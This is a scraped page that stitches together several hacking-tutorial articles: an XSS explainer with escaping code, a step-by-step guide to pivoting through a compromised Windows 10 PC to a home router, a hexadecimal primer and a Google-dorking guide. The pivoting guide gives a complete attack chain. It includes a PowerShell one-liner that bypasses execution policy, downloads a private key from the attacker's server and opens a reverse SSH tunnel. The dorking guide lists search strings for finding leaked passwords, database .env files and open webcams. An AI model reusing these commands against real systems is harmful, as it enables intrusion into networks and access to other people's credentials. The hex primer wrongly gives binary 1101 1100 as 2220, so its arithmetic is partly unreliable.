That Rivals iPhone X's TrueDepth CameraNews:Watch How the iPhone X's 30K IR Dots Scan Your FaceNews:Listen to the iPhone X's New Default Ringtone 'Reflection'News:The iPhone X Notch Still an Eyesore as App Developers Play Catch UpHow To:Find missing windows & panels in Sony VegasHow To:Combine like termsHow To:Install Android OS on a PC Using VirtualBox.Hack Like a Pro:Exploit MS Word to Embed a Listener on Your Roommate's ComputerMac Troubleshooting:How to Find Your Restart, Shutdown & Uptime HistoryHow To:Apps & Extensions You Should Be Using Right Now in ChromeHow To:Simulate Firefox OS for Smartphones in Your PCHow To:Activate the Little-Known Paper Tape Feature on Mac OS X's Calculator AppHow To:Run a Virtual Computer Within Your Host OS with VirtualBoxNews:MAC OS X on PC for REALzZz, My FriendzZz...!How To:Install Linux to a Thumb DriveNews:Calvin & Hobbes + OS X Desktop WallpaperSecure Your Computer, Part 1:Password-Protect your BIOS Boot ScreenNews:Remove Adobe 30 Day CS4 Trial LimitNews:Cannot find windows loader after Linux install?News:MAC-Using Gamemakers Rejoice! UDK Now Compatible With MAC OS XHow To:Download & Run the Latest Developer Build of Mac OS X for Free
Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your Visitors « Null Byte :: WonderHowTo
Injectionis an attack vector that involves breaking out of a data context and switching into a programming context through the use of special characters. These characters are significant to the interpreter being used, but not needed for the general user input being asked for.Cross-site scripting, commonly known asXSS, is a form of injection where the interpreter is the browser and attacks are buried in an HTML document. HTML is particularly difficult because it's not only hierarchical, but also contains many different parsers (XML,JavaScript,CSS,PHP, etc.).HTML is a very dynamic and free-flowing language—something that allows the web to be as advanced and colorful as it is, while also making it a nightmare to parse and filter. To make matters even worse, browser technology and features are expanding at an incredible rate and security must run to keep up.While this makes the web fun and dynamic, it makes the security auditors job more difficult. How can you expect a legacy web application to take into account new features, protocols, and attack vectors? You simply can't.What does all this mean to you?Quite a bit actually, asXSS vulnerabilitiesare far more common that one might imagine. No matter if you are penetration testing, web developing, or black-hatting it somewhere in the middle, this is knowledge you want. Finding XSS holes is the easy part—knowing how to creatively exploit them and assess the possible impact of them is where the real coding and creativity comes in.Injection? Like SQL Injection, Right?Well, yes and no. In a nutshell,code injection using SQLis similar to XSS on the idea that it is abusing user input to be ran as a command or as code. SQL targets the database server (in this case, the interpreter), whereas XSS targetsunsanitized HTMLand JavaScript in the web browser, so as to execute one's own JavaScript code on an unsuspecting victim's machine. There are other differences, as well, and they will be apparent as we get deeper into the vulnerability.There are two general categories of XSS attacks,reflectedandpersistent.A Tale of Two TypesAreflectedXSS vulnerabilityis when code is injected into a website to deliver a payload or to produce a result on the end user's browser. Reflected XSS vulnerabilities are delivered to a victim via various means, such as an email causing the user to click on a malicious URL, which in itself normally contains the malicious code.ApersistentXSS vulnerabilityis one in which the code is actually injected into the website itself, and remains for multiple users to be attacked by. For example, placing XSS code within the database that a forum uses would mean anyone who viewed that specific forum or thread would be affected by said code. The URL used to access this forum would not appear malicious in this case and chaos might ensue.XSS in ActionThe next logical step to understanding XSS is to talk about its injection points. Where can web applications fall victim? Since XSS works as an interaction with active server content, any form of input should be filtered if it's ever to show up in a HTML page!The default example of a reflected vulnerability, and the easiest to exploit, is parameters passed in throughquery string arguments(such as a search query) that get written directly to page. These are enticingly easy because all of the information can be provided directly in a clickable link and does not require any other HTML to perform. Hack in a sack, you could say.Let's look at a famous example.One well known persistent attack was the on MySpace by theSamy worm. In 2005, Samy Kamkar inserted JavaScript/Ajaxcode into his profile which updated a user's profile with "but most of all, samy is my hero."The code would also add Samy's profile to the victim's list of friends. The XSS script would extract information about the user from the browser by looking at a cookie. Then the victim's profile was modified by adding Samy as a friend and in the victim's list of heroes, as well as replicating its own JavaScript/Ajax payload so as to spread. This ended up effecting over one million users.PreventionAll XSS attacks infect your website via some form of user input. XSS attack code could come from a simple<FORM>submitted by your users, or could take a more complex route such as aJSONscript, XML web service, or even an exploited cookie. In all cases, the web developer should be aware that the data is coming from an external source and therefore must not be trusted. I will repeat this...ALL user input should be treated as if it is trying to exploit you. Always.Escaping is the primary means to thwart a XSS attack. When performing escaping, you are telling the browser that the data you are sending should be treated as data and should not beinterpretedin any other way. Even if an attacker manages to drop a script on your page, the victim will not be affected because the browser will not execute the script!See below for some preventive code examples.In Javascript:function htmlEscape(UnescapedString) {return sString.replace(/&/g,'&').replace(/>/g,'>').replace(/</g,'<').replace(/"/g,'"');}In PHP:htmlentities($UnescapedString);In Ruby on Rails:<%=h @UnescapedString%>In C# ASP.Net 1-3:HttpUtility.HtmlEncode(UnescapedString);In C# ASP.Net 4:<%:UnescapedString%>In C# ASP.Net MVC3+ using the Razor View Engine, your strings will automatically be escaped:@UnescapedStringIn Java:StringUtils.replaceEach(UnescapedString, new String[]{"&", "\"", "<", ">"}, new String[]{"&", """, "<", ">"});In ClosingThere is more to XSS then I have explained here, but I need your help! Are you a web developer? Do you have good tips for preventing XSS attacks? Have you used XSS in the wild and care to share? We would love to hear from you!Do you have questions? A concern or two? Leave me a comment below or start a thread inour forum.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage byBlogspot,Demotivational,XtraPixelRelatedHow To:Find XSS Vulnerable Sites with the Big List of Naughty StringsHow To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHow To:SQL Injection Finding Vulnerable Websites..Become an Elite Hacker Part 4:Hacking a Website. [Part 1]How To:Write an XSS Cookie Stealer in JavaScript to Steal PasswordsHow To:Cross Site Scripting (XSS) BasicsHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Hack a remote Internet browser with XSS ShellHow To:Hack websites using cross-site scripting (XSS)How To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Advanced Techniques to Bypass & Defeat XSS Filters, Part 1How To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1Forbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)Exploiting XSS with BeEF:Part 1How Null Byte Injections Work:A History of Our NamesakeNews:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreNews:Get YouTube's New Layout Today with a Simple JavaScript HackHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow To:Things to Do on WonderHowTo (03/21 - 03/27)Google Dorking:AmIDoinItRite?News:Brielle's websiteHow To:Noob's Introductory Guide to Hacking: Where to Get Started?Goodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against It
Hacking Windows 10: How to Use SSH Tunnels to Forward Requests & Hack Remote Routers « Null Byte :: WonderHowTo
Without admin privileges, installing additional software, or modifying the Windows 10 firewall, an attacker can alter a router and perform avariety of exploits. It's accomplished by forwarding requests from Kali through a backdoored Windows computer to the router gateway with simple SSH tunnels.The attack I'll be outlining takes advantage of the SSH-Rand-Lport-forwarding options to create encrypted connections to and from the attacker's server. The below diagram provides an over-simplified depiction of the attack.# Attack Topology [Kali/Hacker] | | SSH | \|/ ' [Debian/Server] . /|\ | SSH +-->[Raspberry Pi on 192.168.1.2:8080] | / | / [Windows 10/Proxy]---->[Router/Target on 192.168.1.1:80] \ \ +-->[Torrent Client on 192.168.1.3:8080]The connections allow the attacker to forward requests through avirtual private server(Debian), and then through a compromised Windows 10 PC, ultimately granting the attacker access to the router gateway. Other devices and ports on the network can be targeted through the Windows 10 computer, but we'll focus on the router. An attacker with access to router settings caninflict all kinds of damage.The PowerShell payload is executed in Windows 10, forcing it to create an SSH connection to the attacker's server. That link forwards requests from the server through Windows 10 to the router gateway. To access the forwarding port in the Debian VPS, the attacker also connects to the server, allowing them to use it and Windows 10 as a double-forwarding mechanism.Similar attacks can be performed with Torthat allow for greater access to devices and ports on the target network. But I wanted to devise a forwarding solution that didn't involve admin privileges, third-party software, opening ports in Windows 10, or modifying any firewalls.Don't Miss:Turn Hacked Windows PCs into Torified Web ProxiesThe environment can be set up with Kali Linux and Windows 10 on a shared Wi-Fi network. In such scenarios, the attacker may be attempting to access a service using Windows 10's IP address to bypass IP filtering or whitelisting. However, that's a specific and less practical case. For that reason, our demonstration will utilize avirtual private server, allowing an attacker to remotely hack the router through two systems from any network in the world.Step 1: Configure the Debian ServerTo start, SSH into the virtual private server being used in the attack as root. The server's IP address is represented as11.22.33.44throughout the remainder of this tutorial.Create a new SSH key pair with the followingssh-keygencommand. When prompted for a passphrase, leave it empty and pressEnteron the keyboard. The key pair passphrase must be empty for the attack to work.The ssh-keygen prompt will attempt to name the new keys "id_rsa" by default. Change it to a random string like "ab56ab49226ed8603e9ae41e242d8096" to thwart potential directory crawlers.Warning: The filename "key" will be used for the remainder of this demonstration for simplicity, but it's generally a bad practice. Any web crawlers able to enumerate the "key" file will have full remote access the Debian server.~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/key Created directory '/root/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/key. Your public key has been saved in /root/.ssh/key.pub. The key fingerprint is: SHA256:5M9KVJVlW2o2er4MSaW0+5yyFhqhKm51kAfrt/fEnbA root@debian9 The key's randomart image is: +---[RSA 2048]----+ | .oo .| | . ... + | | +. . . B | | +o.... B . | | . oS. .* . | | o.+o.o.O . | | . +..ooE.+ | | o ....o.o= o | | o.. .. ooo* | +----[SHA256]-----+Next, change into the ~/.ssh directory.~# cd ~/.sshList the files in the directory; there should be a public (.pub) and private key.~/.ssh# ls -la -rw------- 1 root root 1675 Mar 24 05:26 key -rw-r--r-- 1 root root 391 Mar 24 05:26 key.pubCopy the public key to a file called "authorized_keys." That will allow any SSH client (i.e., Windows 10) with the private key the ability to authenticate to the SSH server.~/.ssh# cp key.pub authorized_keysModify the "sshd_config" file to disable password authentication. Only clients with the private key can authenticate to the server after the modification. It's an essential step as password authentication may prevent the hacked Windows client from properly authenticating.~/.ssh# nano /etc/ssh/sshd_configSet the "PasswordAuthentication" option to "no," and uncomment the line if needed. Save and exit nano by pressingCtrl+x, theny, andEnter.Now, restart the SSH server with thesystemctlcommand.~/.ssh# systemctl restart sshWhile in the .ssh/ directory, create an empty "index.html" file to prevent the following HTTP server from listing the files in the directory.~/.ssh# touch index.htmlMake the keys available to the internet with the followingscreenandpython3commands. Screen will allow the Python3 HTTP server to persist long after the SSH connection is closed.~/.ssh# screen python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 ...To detach from the Screen session without terminating the Python3 server, pressControl-A, thenD. Afterward, exit the SSH session.Step 2: Test the SSH ServiceTo ensure the SSH server was properly configured, a few things can be done.In a local Kali machine, open Firefox and navigate to the server IP address or domain name. The server will display a blank page due to the empty index.html file created in the previous step. From the URL bar, download the /key.The ability to download the key means PowerShell will also be able to find it when Invoke-WebRequest is executed on the target Windows computer.Next, open a terminal and copy the key into Kali's ~/.ssh/ directory.~# cp ~/Downloads/key ~/.ssh/The SSH client in Kali is particular about the key's file permissions. Modify the permissions with thechmodcommand.~# chmod 0600 ~/.ssh/keyFinally, test the key by authenticating to the Debian server from Kali. If the Debian server requests a password or rejects the key, something went wrong. Kali should be able to authenticate to the server without being prompted at all.~# ssh -o StrictHostKeyChecking=no -i ~/.ssh/key root@11.22.33.44 Warning: Permanently added '[11.22.33.44]:22,[XX.XXX.XXX.XX]:22' (ECDSA) to the list of known hosts. Linux debian9 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u2 (2020-03-24) x86_64 Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@debian9:~#Step 3: Execute the PayloadThe PowerShell payload can be executed against Windows 10 inseveral ways. It will be useful during post-exploitation attacks where remote access to the computer has already been established.MousejackandUSB Rubber Ducky's payloadsare always very effective, but it can beconverted into an executable(EXE) and sent with the target.C:\> powershell -ep bypass /w 1 /C iwr 11.22.33.44/key -OutFile $env:temp\key;ssh -N -i $env:temp\key -R 9999:192.168.1.1:80 -o StrictHostKeyChecking=no root@11.22.33.44 -p 22PowerShell will first use the Invoke-WebRequest command to download the /key from the attacker's server and save it into the temp directory. SSH is then invoked with the-Roption, which forwards requests made to port 9999 through the Windows computer and to the router's 192.168.1.1:80 IP address.Don't Miss:Getting Started with Hacking Windows 10Step 4: Configure Kali to Access the Router GatewayAfter executing the payload, usenetstaton the Debian server to find port 9999 is open.~# netstat -lptn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1220/sshd tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN 9999/sshd: root@pts tcp6 0 0 :::22 :::* LISTEN 1220/sshd tcp6 0 0 ::1:9999Now, requests sent to port 9999 will be forwarded to the router (192.168.1.1:80). The problem is, port 9999 is only available on Debian's loopback address (127.0.0.1) — which can't be accessed from external IP addresses (i.e., Kali). One solution is to SSH into the Debian server from Kali with the-Loption.~# ssh -N -L 8888:127.0.0.1:9999 -i ~/.ssh/key root@11.22.33.44In Kali, requests made to port 8888 are forwarded to port 9999 on the Debian server. The requests are then immediately forwarded through Windows 10 and, ultimately, to the router gateway. Both Debian and Windows 10 act together as forwarding systems that allow the attacker in a different part of the world to access the router.It can be verified by opening Firefox in Kali and navigating tohttp://127.0.0.1:8888.Router gateway accessible through Windows 10.Final Thoughts...The attack is a bit on the complicated side as it involves two degrees of port-forwarding. However, it demonstrates how hackers will try to remotely access other devices and ports on the target network without any special privileges or additional software. If there are more straightforward methods for accomplishing the same goal, be sure to leave a comment below; I would love to hear about them.If you enjoyed this article, follow me on Twitter@tokyoneon_andGitHubto keep with my current projects. For questions and concerns, leave a comment or message me on Twitter.Don't Miss:Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byKevin Horvat/Unsplash; Screenshots and GIF by tokyoneon/Null ByteRelatedRasberry Pi:Connecting on ComputerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:Use Remote Port Forwarding to Slip Past Firewall Restrictions UnnoticedHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHow To:Your Complete Guide to Using Remote Desktop on the Microsoft Surface and Windows 8How To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How to Hack Wi-Fi:Evading an Authentication Proxy Using ICMPTXHow To:Create an SSH tunnel for your Mac Mini serverHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Share Your LAN Minecraft World with Your Linux-Savvy FriendsHow To:Hack a remote Internet browser with XSS ShellHow To:Enable the New Native SSH Client on Windows 10How To:Remotely Control Computers Over VNC Securely with SSHHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Become Anonymous on the Internet Using TorMastering Security, Part 2:How to Create a Home VPN TunnelHow To:Hack Wireless Router Passwords & Networks Using HydraHow To:Push and Pull Remote Files Securely Over SSH with PipesNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Use Tortunnel to Quickly Encrypt Internet TrafficHow To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop It
Hack Like a Pro: The Basics of the Hexadecimal System « Null Byte :: WonderHowTo
Welcome back, my novice hackers!It has become clear from some of your questions that quite a few of you are unfamiliar with the hexadecimal system, or simply, hex. The hexadecimal system is used throughout computing and if you have never studied this Base16 numering system, it may appear relatively opaque.For those of you who may have been overwhelmed by this seemingly mysterious numbering system, I dedicate this brief introduction and overview of the hexadecimal numbering system.As you already know, you encounter the hexadecimal system throughout your computer and software. It usually looks some thing like this0x4Dor simply4D. Immediately, you recognize something is different here because first, it often starts with that strange 0x, and second, there are letters in there and not just the digits (0-9).We will often encounter hex in hard drive images such as in digital forensics such as below.Or we might also encounter hex while usingWireshark, like below.And we are very likely to encounter hex in reading our IDS alerts such as inSnort, like that below.Among the most important reasons to understand and study hex is that our MAC addresses on all NICs and network devices are all in hex, and IPv6 will ALL be in hex, once it is widely adopted.If you are not familiar with hex, this is the time to take a few minutes to try to understand it. A few minutes now will likely save you hours of headaches later.Our Decimal SystemOne of the best ways to come to understand the Base16 or hexadecimal system is to go back to the basics of a numbering system you are very familiar with, the Base10, or decimal system. In that system, we have 10 digits (0-9) and each column in that system represents a value 10 times greater than the one to the right of it. So, for instance:31337Represents (starting on the right and moving left):7 ones (1)3 tens (10)3 hundreds (100)1 thousand (1000)3 ten thousands (10,000)Each place holder is 10 times larger than the previous one. The hex system works similarly, but each column is16times larger than the previous column. So, the first four hex columns have values like this:4096 256 16 1Each is 16 times greater than the column to its right.The Hex Numbering SystemThe hex system is a base16 numbering system. Like the decimal or Base10 system, the hex system has to have 16 digits to cover all the possibilities. Unfortunately, we only have 10 to work with (0-9), so we need to add six more. The computer industry has decided to use the letters A-F to represent these additional values. This means that the hex system has the following values.0 = 01= 12 = 23 = 34 = 45 = 56 = 67 = 78 = 89 = 9A = 10B = 11C = 12D = 13E = 14F = 15This means that when we see a hex representation of a number such as:0x45We can evaluate it similarly to a decimal number except the second column represents 16s and not 10s. This means that 0x45 in hex can be evaluated such as:5 x 1 = 54 x 16 = 64---------------= 69If we have a hex number such as DE, we can calculate its value this way:D represents 13 x 16 = 208E represents 14 x 1 = 14--------------------------------------= 222Why We Use HexIn computing, a bit is a single on/off switch often represented by a 0 or a 1. A byte is eight bits often represented by 0000 0000. A byte is an important unit in computing as it often used to represent an ASCII character or a single octet in an IP address, among many other things. The range of numbers that one byte can represent is 0-255 or 256 values. That is why in our IPv4 addresses, each octet (byte) has a value from 0-255, such 192.168.0.254 with a netmask of 255.255.255.0. Follow me?Most humans have a hard time working in the Base2 system that underlies our computer systems. Base2 numbers might be represented like this:1101 1100Athough this number represents 2220 in decimal, the conversion to decimal is not simple or intutive.The hex system allows us to represent the values of a single byte with just two digits as the two digit hex values also range from 0 - 255. Hex is more compact than the Base2 system and it looks and acts a lot more like the decimal system than Base2. In addition, every value that can be represented by a byte can be represented in hex by the values between 0x00 - 0xFF (255).Hex MathProbably the easiest way to do hex math is to use the calculator built into every Windows system. Open the Windows calculator like below:Now, go to the View menu at the top and choose "Programmer".As you can see on the left side of the calculator about midway down, there are four buttons, Hex, Dec, Oct, Bin. By default, it should be set to Dec or Decimal, our familiar Base10 system. If I want to enter a hexadecimal number, simply click on Hex and then enter the number.After I do so, I can then toggle to the Dec button and it will convert my hexadecimal number to a decimal number.Finally, if we want to add, subtract, multiply or divide in hex, we can use the Programmer view in the Calculator as well. That is, is we wanted to add the hex value DE to the hex value A5, we simply enter DE in the calculator press the addition (+) and then enter the A5 and then press equal. The result will be 183 in hex.And then we can toggle to the Dec button and get the decimal equivalent or 387.Hope this brief tutorial on hex is helpful to my novice hackers and helps you advance your knowledge so that one day you can hack like a pro!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via ShutterstockRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow To:Find 3D Snapchat Filters for New Effects with Your iPhone's Face ID CameraHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)How To:Reverse Engineering with Radare2 (A Quick Introduction)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How To:Use Colorista plugin in Final Cut Pro (Introduction)News:The OnePlus 7 Pro's GPS Is So Much Better Than Other Phones Thanks to This Unique FeatureHow To:Set Your Android to Atomic Time for a Perfectly Synced ClockNews:You Can Get a OnePlus 7 Pro with INSANE Specs for the Price of theXRor S10eNews:Does Face ID Work When Your iPhone 11, 11 Pro, or 11 Pro Max Is Flat on a Table?Hack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)How To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)News:The 5 Best Apps for Scanning Text & Documents on AndroidHack Like a Pro:How to Hack Remote Desktop Protocol (RDP) to Snatch the Sysadmin PasswordHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Get Windows Media Center for Free on Windows 8 ProTHE FILM LAB:Intro to Final Cut Pro - 03THE FILM LAB:Intro to Final Cut Pro - 02THE FILM LAB:Non-Linear Editing Basics, Final Cut Pro - Part 01Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNull Byte:Never Let Us DieNews:What does Pro Tools HD Native mean for you?How To:The Official Google+ Insider's Guide IndexNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreNews:Skater Dolly EssentialsHow To:Get Unlimited Money in Skyrim by Hacking Your Game SavesNews:The Epson International Pano Awards Photography Contest - Deadline April 15, 2011News:Automatic Editing App V.I.K.T.O.R. Is So Much Fun You'll Want to Shoot Even More VideoNews:HackingNews:SEO - Ugly Vs Popular - Just Like Highschool!
How to Find Passwords in Exposed Log Files with Google Dorks « Null Byte :: WonderHowTo
You may not have thought of dorks as powerful, but with the right dorks, you can hack devices just by Googling the password to log in. Because Google is fantastic at indexing everything connected to the internet, it's possible to find files that are exposed accidentally and contain critical information for anyone to see.The advanced application ofGoogle search operatorsis Google Dorking — using search operators to hunt for specific vulnerable devices through targeted search strings. If we assume that Google has indexed most devices accidentally exposed to the internet, we can use the text we know appears in their login or administrative pages to find them.What Kinds of Things Do Dorks Connect to the Internet?You would be amazed. Everything from the pool controller of Yachts in the ocean to configuration interfaces for critical systems is connected to the internet by well-meaning people with the assumption that no one will ever find them.So how could this happen to you? Imagine getting a new security camera that provides the ability to watch it on your phone whenever you want. You set it up, connect it to your Wi-Fi, and download an app that asks for you to sign in. After that, you can access your camera from anywhere!What's going on in the background isn't so simple. The camera calls a Chinese server and streams video in real-time, allowing you to log in by accessing the video feed hosted on the server in China from your phone. That server may require no password to access the feed from your webcam, making your camera accessible to anyone who searches for text contained in the viewing page of the camera.Unfortunately, Google is ruthlessly effective at hunting down any devices on the internet running HTTP and HTTPS servers. Because most of these devices host a server to configure them, it means that many things that aren't supposed to be on Google end up there.Don't Miss:Use Photon Scanner to Scrape Web OSINT DataWhich Dorks Are the Most Powerful?By far, the most severe kind of exposed file we can find is one that leaks the credentials to user accounts or the entire service itself. Usually, this will happen in one of two ways. In the first, a server or other service is set up incorrectly and exposes its administrative logs to the internet. When passwords are changed, or a user fails to log in correctly, these logs can leak the credentials being used to the internet.The other way this happens is when configuration files that contain the same information are exposed. These are files that are supposed to be internal but are often leave critical information out in the open. Either one of these mistakes can cause the entire service to be taken over by an attacker who happens to chance upon the information.We'll be using Google dorks to find not only these files, but also things like file transfer servers that may contain interesting information, email lists, and my personal favorite, exposed webcams.Don't Miss:Use SpiderFoot for OSINT GatheringWhat You'll NeedTo follow along, you'll need a browser with internet access. The beautiful thing about using Google dorks is that we can use tools accessible by nearly anyone to find vulnerable systems.Once you have a browser open, navigate to Google.com, and we can get started.Don't Miss:Use the Buscador OSINT VM for Conducting Online InvestigationsStep 1: Finding FTP Servers & Websites Using HTTPTo start, we'll use the following dork to search for file transfer servers published sometime this year. Searching for these servers can allow us to find files that are supposed to be internal, but were unknowingly made public.intitle:"index of" inurl:ftp after:2018These servers become public because the index file of their FTP server is the kind of data that Google loves to scan — a fact people tend to forget. Google's scanning leads to a complete list of all the files contained within the server being searchable on Google.If we want to find insecure webpages still using HTTP to poke at, we can modify the command slightly to do so by changing the "ftp" to "http" and re-running the search.intitle:"index of" inurl:http after:2018Searching that string should produce a list of lots and lots of websites using HTTP, ready to be attacked. But if we're looking for a specific type of site, we can go even further.If we want to start attacking some easy targets, we can be more specific and search for online forms still using HTTP by changing the text in the search title.intitle:"forum" inurl:http after:2018We can keep adding search operators likeAND inurl:"registration"to get more specific and hunt down the registration pages of insecure form websites.Here you can see we've found a list of vulnerable online forums using HTTP.Step 1: Find Log Files with PasswordsThe next step will be to search for files of the .LOG type. Searching for LOG files will allow us to look for clues about what the credentials to the system or various user or admin accounts might be.The dork we'll be using to do this is as follows.allintext:password filetype:log after:2018When searching for current log files exposed to the internet, we find this almost immediately.This log states that the password is the default one, which takes just a simple Google search of the OpenCast Project website to discover. With one search, we've possibly found the credentials to this system without hacking anything at all.Step 2: Find Configuration Files with PasswordsConfiguration files should not be public pretty much ever, and .ENV files are great examples of this. If we search for .ENV files that contain a string for the database password, we instantly find the password to this database we've discovered.filetype:env "DB_PASSWORD" after:2018If we remove theafter:2018we can see older log files also exposing services to the internet.Step 3: Find Email ListsEmail lists are a great way of scraping email addresses and trying to find information on corporate or school targets. These lists are frequently exposed by companies or schools that are trying to organize email lists for their members.To find them, we'll be looking for spreadsheet .XLS file type with the string "email.xls" in the URL.While these results are useful, be careful not to download any file without first considering if it's a honeypot. Many people will take popular dorks and then leave a server hosting a file that looks vulnerable but could instead contain malware.Don't Miss:Use Facial Recognition to Conduct OSINT Analysis on Individuals & CompaniesStep 4: Find Open CamerasFinally, if you thought Shodan was the only service that can find weird open cameras, you were dead wrong. Camera login and viewing pages are usually HTTP, meaning Google is happy to index them and provide them for viewing if you know the right search string.One common format for webcam strings is searching for "top.htm" in the URL with the current time and date included. You'll find a lot of results this way.inurl:top.htm inurl:currenttimeThe first result is a webcam that appears to be the Windows XP background from another angle in Belmullet, Ireland.Another dork for cameras that produces outstanding results searches for a common live-view page hosted on routers.inurl:"lvappl.htm"Using this dork, I was able to locate the best camera of all, the birdcam1.Please do not hack the bird cam, but feel free toenjoy it here. Many other cameras are available, though all are less interesting than birdcam1.Many cameras also monitor inside factories or industrial areas.While you can view the cameras I demonstrated without a password; many dorks look for webcam login pages that have a well-known default password. This tactic, while illegal, allows easy access to many webcams not intended for public viewing.Google Dorks Allow Easy Hacking of Exposed ServicesThanks to the way Google indexes nearly everything connected to the internet that offers a web interface, there's no shortage of misconfigured services that leave critical elements exposed to the internet. Make sure you don't log in to any of these services even if the password is exposed, as this could get you into trouble because you don't have permission. If you have a service online, it's smart to run a few common dorks on your domains to see what turns up, just in case you've accidentally left something exposed that a hacker might find useful.I hope you enjoyed this guide to using Google dorks to find vulnerable devices and passwords! If you have any questions about this on Google dorks, or if you have a comment, ask below or feel free to reach me on Twitter@KodyKinzie.Don't Miss:Find Identifying Information from a Phone Number Using OSINT ToolsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Use Google to Hack(Googledorks)Hugging the Web (Part 3:The Google Bloodhound)How To:SQL Injection Finding Vulnerable Websites..How To:Find log-ins and passwords in Firefox 3 on a PC or MacBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]How To:Have Your Friends Ever Used Pandora on Your Computer? Well, You Can Steal Their PasswordsHow To:Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required)Hack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)How To:Use Dorkbot for Automated Vulnerability DiscoveryHow To:Use Your Saved Chrome Passwords to Log into Apps on Your GalaxyHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)How To:Enable Windows 10 Admin to Remove User Account Control PopupsHow To:Use Your Saved Passwords from Google Chrome to Log into Android AppsHow To:Use Google Search Operators to Find Elusive InformationHow To:Manage Stored Passwords So You Don't Get HackedHow To:Recover Passwords for Windows PCs Using OphcrackGoogle Dorking:AmIDoinItRite?Social Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:Advanced Social Engineering, 